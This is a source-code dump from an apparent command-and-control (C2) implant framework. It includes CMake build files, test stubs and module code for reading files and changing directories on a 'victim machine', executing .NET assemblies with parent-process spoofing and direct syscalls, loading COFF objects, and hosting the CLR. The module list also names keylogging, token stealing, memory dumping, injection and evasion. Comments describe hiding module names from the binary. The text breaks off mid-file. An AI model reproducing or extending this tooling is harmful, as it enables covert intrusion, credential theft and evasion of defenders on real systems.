-------------------------------------------------------------------------------- /listener/tests/testListenerSmb.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerSmb.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /listener/tests/testListenerTcp.cpp: -------------------------------------------------------------------------------- 1 | #include "ListenerTcp.hpp" 2 | 3 | int main() 4 | { 5 | 6 | } -------------------------------------------------------------------------------- /modules/AssemblyExec/AssemblyExec.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | #ifdef _WIN32 6 | #include 7 | #endif 8 | 9 | 10 | class AssemblyExec : public ModuleCmd 11 | { 12 | 13 | public: 14 | AssemblyExec(); 15 | ~AssemblyExec(); 16 | 17 | std::string getInfo(); 18 | 19 | int init(std::vector& splitedCmd, C2Message& c2Message); 20 | int initConfig(const nlohmann::json &config); 21 | int process(C2Message& c2Message, C2Message& c2RetMessage); 22 | int osCompatibility() 23 | { 24 | return OS_WINDOWS; 25 | } 26 | 27 | int setProcessToSpawn(const std::string& processToSpawn) 28 | { 29 | m_processToSpawn = processToSpawn; 30 | return 0; 31 | } 32 | int setUseSyscall(bool useSyscall) 33 | { 34 | m_useSyscall = useSyscall; 35 | return 0; 36 | } 37 | int setModeProcess(bool isModeProcess) 38 | { 39 | m_isModeProcess = isModeProcess; 40 | return 0; 41 | } 42 | int setModeSpoofParent(bool isSpoofParent) 43 | { 44 | m_isSpoofParent = isSpoofParent; 45 | return 0; 46 | } 47 | int setSpoofedParent(const std::string& spoofedParent) 48 | { 49 | m_spoofedParent = spoofedParent; 50 | return 0; 51 | } 52 | 53 | private: 54 | std::string m_processToSpawn; 55 | bool m_useSyscall; 56 | bool m_isModeProcess; 57 | bool m_isSpoofParent; 58 | std::string m_spoofedParent; 59 | 60 | #ifdef __linux__ 61 | int whateverLinux(const std::string& payload, std::string& result); 62 | #elif _WIN32 63 | int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result); 64 | int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result); 65 | int createNewThread(const std::string& payload, std::string& result); 66 | 67 | bool m_isProcessRuning; 68 | HANDLE m_processHandle; 69 | int killProcess(); 70 | #endif 71 | }; 72 | 73 | #ifdef _WIN32 74 | 75 | extern "C" __declspec(dllexport) AssemblyExec * A_AssemblyExecConstructor(); 76 | 77 | #else 78 | 79 | extern "C" __attribute__((visibility("default"))) AssemblyExec * AssemblyExecConstructor(); 80 | 81 | #endif 82 | 83 | -------------------------------------------------------------------------------- /modules/AssemblyExec/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | 3 | if(WIN32) 4 | add_library(AssemblyExec SHARED AssemblyExec.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ../ModuleCmd/peb.cpp ../ModuleCmd/hwbp.cpp) 5 | else() 6 | add_library(AssemblyExec SHARED AssemblyExec.cpp) 7 | endif() 8 | 9 | set_property(TARGET AssemblyExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 10 | 11 | if(WITH_TESTS) 12 | message(STATUS "[+] AssemblyExec Tests are enable.") 13 | target_link_libraries(AssemblyExec ${Donut}) 14 | else() 15 | message(STATUS "[-] AssemblyExec Tests are disable.") 16 | target_link_libraries(AssemblyExec ${Donut}) 17 | endif() 18 | 19 | add_custom_command(TARGET AssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 20 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 21 | 22 | if(WITH_TESTS) 23 | if(WIN32) 24 | add_executable(testsAssemblyExec tests/testsAssemblyExec.cpp AssemblyExec.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ../ModuleCmd/peb.cpp ../ModuleCmd/hwbp.cpp) 25 | target_link_libraries(testsAssemblyExec ${Donut} ) 26 | 27 | add_executable(testOutputWriter tests/testOutputWriter.cpp) 28 | else() 29 | add_executable(testsAssemblyExec tests/testsAssemblyExec.cpp AssemblyExec.cpp) 30 | target_link_libraries(testsAssemblyExec ${Donut} ${aplib64} ) 31 | 32 | add_executable(testOutputWriter tests/testOutputWriter.cpp) 33 | endif() 34 | 35 | add_custom_command(TARGET testsAssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 36 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 37 | 38 | add_custom_command(TARGET testOutputWriter POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 39 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 40 | 41 | add_test(NAME testsAssemblyExec COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 42 | endif() 43 | -------------------------------------------------------------------------------- /modules/AssemblyExec/tests/testOutputWriter.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | int main() 6 | { 7 | for(int i = 0; i<10 ; i++) 8 | { 9 | for(int j = 0; j<400 ; j++) 10 | { 11 | std::cout << char(41)+i; 12 | } 13 | std::cout << std::endl; 14 | 15 | std::this_thread::sleep_for(std::chrono::milliseconds(100)); 16 | } 17 | std::cout << "" << std::endl; 18 | 19 | for(int j = 0; j<4000 ; j++) 20 | { 21 | std::cout << "ZO"; 22 | } 23 | for(int j = 0; j<4000 ; j++) 24 | { 25 | std::cout << "ZA"; 26 | } 27 | std::cout << std::endl; 28 | } -------------------------------------------------------------------------------- /modules/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(ModuleCmd) 2 | 3 | add_subdirectory(ModuleCmd) 4 | add_subdirectory(AssemblyExec) 5 | add_subdirectory(ChangeDirectory) 6 | add_subdirectory(Chisel) 7 | add_subdirectory(CoffLoader) 8 | add_subdirectory(Download) 9 | add_subdirectory(Evasion) 10 | add_subdirectory(Inject) 11 | add_subdirectory(KerberosUseTicket) 12 | add_subdirectory(ListDirectory) 13 | add_subdirectory(ListProcesses) 14 | add_subdirectory(MakeToken) 15 | add_subdirectory(Powershell) 16 | add_subdirectory(PrintWorkingDirectory) 17 | add_subdirectory(PsExec) 18 | add_subdirectory(Rev2self) 19 | add_subdirectory(Run) 20 | add_subdirectory(Script) 21 | add_subdirectory(SpawnAs) 22 | add_subdirectory(StealToken) 23 | add_subdirectory(Upload) 24 | add_subdirectory(Cat) 25 | add_subdirectory(Tree) 26 | add_subdirectory(WmiExec) 27 | add_subdirectory(KeyLogger) 28 | add_subdirectory(ScreenShot) 29 | add_subdirectory(MiniDump) 30 | add_subdirectory(DotnetExec) 31 | add_subdirectory(PwSh) 32 | 33 | -------------------------------------------------------------------------------- /modules/Cat/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Cat SHARED Cat.cpp) 3 | set_property(TARGET Cat PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Cat ) 5 | add_custom_command(TARGET Cat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsCat tests/testsCat.cpp Cat.cpp) 10 | target_link_libraries(testsCat ) 11 | add_custom_command(TARGET testsCat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsCat COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/Cat/Cat.cpp: -------------------------------------------------------------------------------- 1 | #include "Cat.hpp" 2 | 3 | #include "Common.hpp" 4 | 5 | #include 6 | 7 | using namespace std; 8 | 9 | 10 | // Compute hash of moduleName at compile time, so the moduleName string don't show in the binary 11 | constexpr std::string_view moduleName = "cat"; 12 | constexpr unsigned long long moduleHash = djb2(moduleName); 13 | 14 | #ifdef _WIN32 15 | 16 | __declspec(dllexport) Cat* CatConstructor() 17 | { 18 | return new Cat(); 19 | } 20 | 21 | #else 22 | 23 | __attribute__((visibility("default"))) Cat* CatConstructor() 24 | { 25 | return new Cat(); 26 | } 27 | 28 | #endif 29 | 30 | Cat::Cat() 31 | #ifdef BUILD_TEAMSERVER 32 | : ModuleCmd(std::string(moduleName), moduleHash) 33 | #else 34 | : ModuleCmd("", moduleHash) 35 | #endif 36 | { 37 | } 38 | 39 | Cat::~Cat() 40 | { 41 | } 42 | 43 | std::string Cat::getInfo() 44 | { 45 | std::string info; 46 | #ifdef BUILD_TEAMSERVER 47 | info += "Cat Module:\n"; 48 | info += "Read and display the contents of a file from the victim machine.\n"; 49 | info += "Useful for quickly inspecting text files or verifying file contents.\n"; 50 | info += "\nExample:\n"; 51 | info += "- cat c:\\temp\\toto.txt\n"; 52 | #endif 53 | return info; 54 | } 55 | 56 | int Cat::init(std::vector &splitedCmd, C2Message &c2Message) 57 | { 58 | #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 59 | if (splitedCmd.size() >= 2 ) 60 | { 61 | string inputFile; 62 | for (int idx = 1; idx < splitedCmd.size(); idx++) 63 | { 64 | if(!inputFile.empty()) 65 | inputFile+=" "; 66 | inputFile+=splitedCmd[idx]; 67 | } 68 | 69 | c2Message.set_instruction(splitedCmd[0]); 70 | c2Message.set_inputfile(inputFile); 71 | } 72 | else 73 | { 74 | c2Message.set_returnvalue(getInfo()); 75 | return -1; 76 | } 77 | #endif 78 | return 0; 79 | } 80 | 81 | 82 | #define ERROR_OPEN_FILE 1 83 | 84 | int Cat::process(C2Message &c2Message, C2Message &c2RetMessage) 85 | { 86 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 87 | c2RetMessage.set_cmd(c2Message.inputfile()); 88 | c2RetMessage.set_inputfile(c2Message.inputfile()); 89 | 90 | std::string inputFile = c2Message.inputfile(); 91 | std::ifstream input(inputFile, std::ios::binary); 92 | if( !input.fail() ) 93 | { 94 | std::string buffer(std::istreambuf_iterator(input), {}); 95 | c2RetMessage.set_returnvalue(buffer); 96 | } 97 | else 98 | { 99 | c2RetMessage.set_errorCode(ERROR_OPEN_FILE); 100 | } 101 | 102 | return 0; 103 | } 104 | 105 | 106 | int Cat::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) 107 | { 108 | #ifdef BUILD_TEAMSERVER 109 | int errorCode = c2RetMessage.errorCode(); 110 | if(errorCode>0) 111 | { 112 | if(errorCode==ERROR_OPEN_FILE) 113 | errorMsg = "Failed: Couldn't open file"; 114 | } 115 | #endif 116 | return 0; 117 | } 118 | -------------------------------------------------------------------------------- /modules/Cat/Cat.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class Cat : public ModuleCmd 7 | { 8 | 9 | public: 10 | Cat(); 11 | ~Cat(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 18 | int osCompatibility() 19 | { 20 | return OS_LINUX | OS_WINDOWS; 21 | } 22 | 23 | 24 | private: 25 | 26 | }; 27 | 28 | 29 | #ifdef _WIN32 30 | 31 | extern "C" __declspec(dllexport) Cat * CatConstructor(); 32 | 33 | #else 34 | 35 | extern "C" __attribute__((visibility("default"))) Cat * CatConstructor(); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /modules/Cat/tests/testsCat.cpp: -------------------------------------------------------------------------------- 1 | #include "../Cat.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testCat(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testCat" << std::endl; 15 | res = testCat(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return !res; 22 | } 23 | 24 | bool testCat() 25 | { 26 | std::string testFile = "test1.txt"; 27 | std::string fileContent = "testCat"; 28 | 29 | std::ofstream outfile("test1.txt"); 30 | outfile << "testCat" << std::endl; 31 | outfile.close(); 32 | 33 | std::unique_ptr cat = std::make_unique(); 34 | { 35 | std::vector splitedCmd; 36 | splitedCmd.push_back("cat"); 37 | splitedCmd.push_back(testFile); 38 | 39 | C2Message c2Message; 40 | C2Message c2RetMessage; 41 | cat->init(splitedCmd, c2Message); 42 | cat->process(c2Message, c2RetMessage); 43 | 44 | std::string output = "\n\noutput:\n"; 45 | output += c2RetMessage.returnvalue(); 46 | output += "\n"; 47 | std::cout << output << std::endl; 48 | 49 | if (c2RetMessage.returnvalue().compare(0, fileContent.length(), fileContent) == 0) 50 | { 51 | } 52 | else 53 | { 54 | std::cout << "[-] fileContent " << fileContent << std::endl; 55 | std::cout << "[-] c2RetMessage.returnvalue() " << c2RetMessage.returnvalue() << std::endl; 56 | return false; 57 | } 58 | } 59 | 60 | { 61 | std::vector splitedCmd; 62 | splitedCmd.push_back("cat"); 63 | splitedCmd.push_back(".\\test space folder\\test space.txt"); 64 | 65 | C2Message c2Message; 66 | C2Message c2RetMessage; 67 | cat->init(splitedCmd, c2Message); 68 | cat->process(c2Message, c2RetMessage); 69 | 70 | std::string output = "\n\noutput:\n"; 71 | output += c2RetMessage.returnvalue(); 72 | output += "\n"; 73 | std::cout << output << std::endl; 74 | 75 | if (c2RetMessage.errorCode()) 76 | { 77 | std::cout << "[+] c2RetMessage.errorCode() " << c2RetMessage.errorCode() << std::endl; 78 | } 79 | else 80 | { 81 | return false; 82 | } 83 | } 84 | 85 | return true; 86 | } 87 | -------------------------------------------------------------------------------- /modules/ChangeDirectory/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(ChangeDirectory SHARED ChangeDirectory.cpp) 3 | set_property(TARGET ChangeDirectory PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(ChangeDirectory ) 5 | add_custom_command(TARGET ChangeDirectory POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsChangeDirectory tests/testsChangeDirectory.cpp ChangeDirectory.cpp) 10 | target_link_libraries(testsChangeDirectory ) 11 | add_custom_command(TARGET testsChangeDirectory POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsChangeDirectory COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/ChangeDirectory/ChangeDirectory.cpp: -------------------------------------------------------------------------------- 1 | #include "ChangeDirectory.hpp" 2 | 3 | #include "Common.hpp" 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | using namespace std; 10 | 11 | 12 | constexpr std::string_view moduleName = "cd"; 13 | constexpr unsigned long long moduleHash = djb2(moduleName); 14 | 15 | 16 | #ifdef _WIN32 17 | 18 | __declspec(dllexport) ChangeDirectory* ChangeDirectoryConstructor() 19 | { 20 | return new ChangeDirectory(); 21 | } 22 | 23 | #else 24 | 25 | __attribute__((visibility("default"))) ChangeDirectory* ChangeDirectoryConstructor() 26 | { 27 | return new ChangeDirectory(); 28 | } 29 | 30 | #endif 31 | 32 | 33 | ChangeDirectory::ChangeDirectory() 34 | #ifdef BUILD_TEAMSERVER 35 | : ModuleCmd(std::string(moduleName), moduleHash) 36 | #else 37 | : ModuleCmd("", moduleHash) 38 | #endif 39 | { 40 | } 41 | 42 | ChangeDirectory::~ChangeDirectory() 43 | { 44 | } 45 | 46 | std::string ChangeDirectory::getInfo() 47 | { 48 | std::string info; 49 | #ifdef BUILD_TEAMSERVER 50 | info += "ChangeDirectory Module:\n"; 51 | info += "Change the current working directory on the victim machine.\n"; 52 | info += "This affects the context for relative file paths in subsequent commands.\n"; 53 | info += "\nExample:\n"; 54 | info += "- cd /tmp\n"; 55 | info += "- cd C:\\Users\\Public\n"; 56 | #endif 57 | return info; 58 | } 59 | 60 | int ChangeDirectory::init(std::vector &splitedCmd, C2Message &c2Message) 61 | { 62 | #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 63 | string path; 64 | for (int idx = 1; idx < splitedCmd.size(); idx++) 65 | { 66 | if(!path.empty()) 67 | path+=" "; 68 | path+=splitedCmd[idx]; 69 | } 70 | 71 | c2Message.set_instruction(splitedCmd[0]); 72 | c2Message.set_cmd(path); 73 | #endif 74 | return 0; 75 | } 76 | 77 | 78 | int ChangeDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) 79 | { 80 | string path = c2Message.cmd(); 81 | std::string outCmd = changeDirectory(path); 82 | 83 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 84 | c2RetMessage.set_cmd(path); 85 | c2RetMessage.set_returnvalue(outCmd); 86 | 87 | return 0; 88 | } 89 | 90 | 91 | std::string ChangeDirectory::changeDirectory(const std::string& path) 92 | { 93 | std::error_code ec; 94 | try 95 | { 96 | if(!path.empty()) 97 | std::filesystem::current_path(path, ec); 98 | } catch (...) 99 | { 100 | } 101 | 102 | std::string result; 103 | result=std::filesystem::current_path(ec).string(); 104 | 105 | return result; 106 | } -------------------------------------------------------------------------------- /modules/ChangeDirectory/ChangeDirectory.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class ChangeDirectory : public ModuleCmd 7 | { 8 | 9 | public: 10 | ChangeDirectory(); 11 | ~ChangeDirectory(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_LINUX | OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string changeDirectory(const std::string& path); 24 | 25 | }; 26 | 27 | 28 | #ifdef _WIN32 29 | 30 | extern "C" __declspec(dllexport) ChangeDirectory * ChangeDirectoryConstructor(); 31 | 32 | #else 33 | 34 | extern "C" __attribute__((visibility("default"))) ChangeDirectory * ChangeDirectoryConstructor(); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /modules/ChangeDirectory/tests/testsChangeDirectory.cpp: -------------------------------------------------------------------------------- 1 | #include "../ChangeDirectory.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testChangeDirectory(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testChangeDirectory" << std::endl; 15 | res = testChangeDirectory(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return !res; 22 | } 23 | 24 | 25 | bool testChangeDirectory() 26 | { 27 | std::unique_ptr changeDirectory = std::make_unique(); 28 | 29 | { 30 | std::vector splitedCmd; 31 | splitedCmd.push_back("cd"); 32 | splitedCmd.push_back("sdghdfhdfgnjdgf"); 33 | 34 | C2Message c2Message; 35 | C2Message c2RetMessage; 36 | changeDirectory->init(splitedCmd, c2Message); 37 | changeDirectory->process(c2Message, c2RetMessage); 38 | 39 | std::string output = "\n\noutput:\n"; 40 | output += c2RetMessage.returnvalue(); 41 | output += "\n"; 42 | std::cout << output << std::endl; 43 | } 44 | { 45 | std::vector splitedCmd; 46 | splitedCmd.push_back("cd"); 47 | splitedCmd.push_back(".."); 48 | 49 | C2Message c2Message; 50 | C2Message c2RetMessage; 51 | changeDirectory->init(splitedCmd, c2Message); 52 | changeDirectory->process(c2Message, c2RetMessage); 53 | 54 | std::string output = "\n\noutput:\n"; 55 | output += c2RetMessage.returnvalue(); 56 | output += "\n"; 57 | std::cout << output << std::endl; 58 | } 59 | { 60 | std::vector splitedCmd; 61 | splitedCmd.push_back("cd"); 62 | splitedCmd.push_back("C:\\Temp"); 63 | 64 | C2Message c2Message; 65 | C2Message c2RetMessage; 66 | changeDirectory->init(splitedCmd, c2Message); 67 | changeDirectory->process(c2Message, c2RetMessage); 68 | 69 | std::string output = "\n\noutput:\n"; 70 | output += c2RetMessage.returnvalue(); 71 | output += "\n"; 72 | std::cout << output << std::endl; 73 | } 74 | { 75 | std::vector splitedCmd; 76 | splitedCmd.push_back("cd"); 77 | splitedCmd.push_back("..."); 78 | 79 | C2Message c2Message; 80 | C2Message c2RetMessage; 81 | changeDirectory->init(splitedCmd, c2Message); 82 | changeDirectory->process(c2Message, c2RetMessage); 83 | 84 | std::string output = "\n\noutput:\n"; 85 | output += c2RetMessage.returnvalue(); 86 | output += "\n"; 87 | std::cout << output << std::endl; 88 | } 89 | { 90 | std::vector splitedCmd; 91 | splitedCmd.push_back("cd"); 92 | splitedCmd.push_back("C:\\"); 93 | 94 | C2Message c2Message; 95 | C2Message c2RetMessage; 96 | changeDirectory->init(splitedCmd, c2Message); 97 | changeDirectory->process(c2Message, c2RetMessage); 98 | 99 | std::string output = "\n\noutput:\n"; 100 | output += c2RetMessage.returnvalue(); 101 | output += "\n"; 102 | std::cout << output << std::endl; 103 | } 104 | 105 | return true; 106 | } 107 | -------------------------------------------------------------------------------- /modules/Chisel/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Chisel SHARED Chisel.cpp) 3 | set_property(TARGET Chisel PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | if(WITH_TESTS) 5 | message(STATUS "[+] Chisel Tests are enable.") 6 | target_link_libraries(Chisel ${Donut} ) 7 | else() 8 | message(STATUS "[-] Chisel Tests are disable.") 9 | target_link_libraries(Chisel ${Donut} ) 10 | endif() 11 | add_custom_command(TARGET Chisel POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 13 | 14 | if(WITH_TESTS) 15 | add_executable(testsChisel tests/testsChisel.cpp Chisel.cpp) 16 | 17 | if(WIN32) 18 | target_link_libraries(testsChisel ${Donut} ) 19 | else() 20 | target_link_libraries(testsChisel ${Donut} ${aplib64} ) 21 | endif() 22 | 23 | add_custom_command(TARGET testsChisel POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 24 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 25 | 26 | add_test(NAME testsChisel COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 27 | endif() 28 | 29 | -------------------------------------------------------------------------------- /modules/Chisel/Chisel.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class Chisel : public ModuleCmd 7 | { 8 | 9 | public: 10 | Chisel(); 11 | ~Chisel(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int followUp(const C2Message &c2RetMessage); 18 | int osCompatibility() 19 | { 20 | return OS_WINDOWS; 21 | } 22 | 23 | private: 24 | std::vector> m_instances; 25 | 26 | }; 27 | 28 | 29 | #ifdef _WIN32 30 | 31 | extern "C" __declspec(dllexport) Chisel * A_ChiselConstructor(); 32 | 33 | #else 34 | 35 | extern "C" __attribute__((visibility("default"))) Chisel * ChiselConstructor(); 36 | 37 | #endif 38 | 39 | -------------------------------------------------------------------------------- /modules/Chisel/tests/testsChisel.cpp: -------------------------------------------------------------------------------- 1 | #include "../Chisel.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testChisel(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testChisel" << std::endl; 15 | res = testChisel(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | 25 | bool testChisel() 26 | { 27 | // std::unique_ptr Chisel = std::make_unique(); 28 | // { 29 | // } 30 | 31 | return false; 32 | } -------------------------------------------------------------------------------- /modules/CoffLoader/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Coff SHARED CoffLoader.cpp) 3 | set_property(TARGET Coff PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | if(WIN32) 5 | target_link_libraries(Coff CoffLoader CoffPacker ) 6 | else() 7 | endif() 8 | add_custom_command(TARGET Coff POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 9 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 10 | 11 | if(WITH_TESTS) 12 | add_executable(testsCoffLoader tests/testsCoffLoader.cpp CoffLoader.cpp) 13 | 14 | if(WIN32) 15 | set_property(TARGET testsCoffLoader PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 16 | target_link_libraries(testsCoffLoader CoffLoader CoffPacker ) 17 | else() 18 | endif() 19 | 20 | add_custom_command(TARGET testsCoffLoader POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 21 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 22 | 23 | add_test(NAME testsCoffLoader COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 24 | endif() -------------------------------------------------------------------------------- /modules/CoffLoader/CoffLoader.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class CoffLoader : public ModuleCmd 7 | { 8 | 9 | public: 10 | CoffLoader(); 11 | ~CoffLoader(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed); 24 | 25 | }; 26 | 27 | 28 | #ifdef _WIN32 29 | 30 | extern "C" __declspec(dllexport) CoffLoader * A_CoffLoaderConstructor(); 31 | 32 | #else 33 | 34 | extern "C" __attribute__((visibility("default"))) CoffLoader * CoffConstructor(); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /modules/CoffLoader/tests/testsCoffLoader.cpp: -------------------------------------------------------------------------------- 1 | #include "../CoffLoader.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testCoffLoader(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testCoffLoader" << std::endl; 15 | res = testCoffLoader(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testCoffLoader() 25 | { 26 | std::unique_ptr coffLoader = std::make_unique(); 27 | { 28 | std::vector splitedCmd; 29 | splitedCmd.push_back("coffLoader"); 30 | splitedCmd.push_back(".\\dir.x64.o"); 31 | splitedCmd.push_back("go"); 32 | splitedCmd.push_back("Zs"); 33 | splitedCmd.push_back("c:\\"); 34 | splitedCmd.push_back("0"); 35 | 36 | C2Message c2Message; 37 | C2Message c2RetMessage; 38 | coffLoader->init(splitedCmd, c2Message); 39 | coffLoader->process(c2Message, c2RetMessage); 40 | 41 | std::string output = "\n\noutput:\n"; 42 | output += c2RetMessage.returnvalue(); 43 | output += "\n"; 44 | std::cout << output << std::endl; 45 | } 46 | 47 | return true; 48 | } 49 | -------------------------------------------------------------------------------- /modules/DotnetExec/AssemblyManager.cpp: -------------------------------------------------------------------------------- 1 | #include "AssemblyManager.hpp" 2 | 3 | 4 | MyAssemblyManager::MyAssemblyManager(void) 5 | { 6 | count = 0; 7 | m_assemblyStore = new MyAssemblyStore(); 8 | }; 9 | 10 | 11 | MyAssemblyManager::~MyAssemblyManager(void) 12 | { 13 | delete m_assemblyStore; 14 | }; 15 | 16 | 17 | HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv) 18 | { 19 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager)) 20 | { 21 | *ppv = 0; 22 | return E_NOINTERFACE; 23 | } 24 | *ppv = this; 25 | this->AddRef(); 26 | return S_OK; 27 | } 28 | 29 | 30 | ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef() 31 | { 32 | return(++((MyAssemblyManager*)this)->count); 33 | } 34 | 35 | 36 | ULONG STDMETHODCALLTYPE MyAssemblyManager::Release() 37 | { 38 | if (--((MyAssemblyManager*)this)->count == 0) 39 | { 40 | GlobalFree(this); 41 | return 0; 42 | } 43 | return ((MyAssemblyManager*)this)->count; 44 | } 45 | 46 | 47 | // This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them) 48 | // We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation 49 | HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) 50 | { 51 | *ppReferenceList = NULL; 52 | return S_OK; 53 | } 54 | 55 | 56 | //This is responsible for returning our IHostAssemblyStore implementation 57 | HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) 58 | { 59 | *ppAssemblyStore = m_assemblyStore; 60 | return S_OK; 61 | } 62 | 63 | -------------------------------------------------------------------------------- /modules/DotnetExec/AssemblyManager.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "AssemblyStore.hpp" 3 | 4 | 5 | class MyAssemblyManager : public IHostAssemblyManager 6 | { 7 | public: 8 | MyAssemblyManager(void); 9 | ~MyAssemblyManager(void); 10 | 11 | virtual 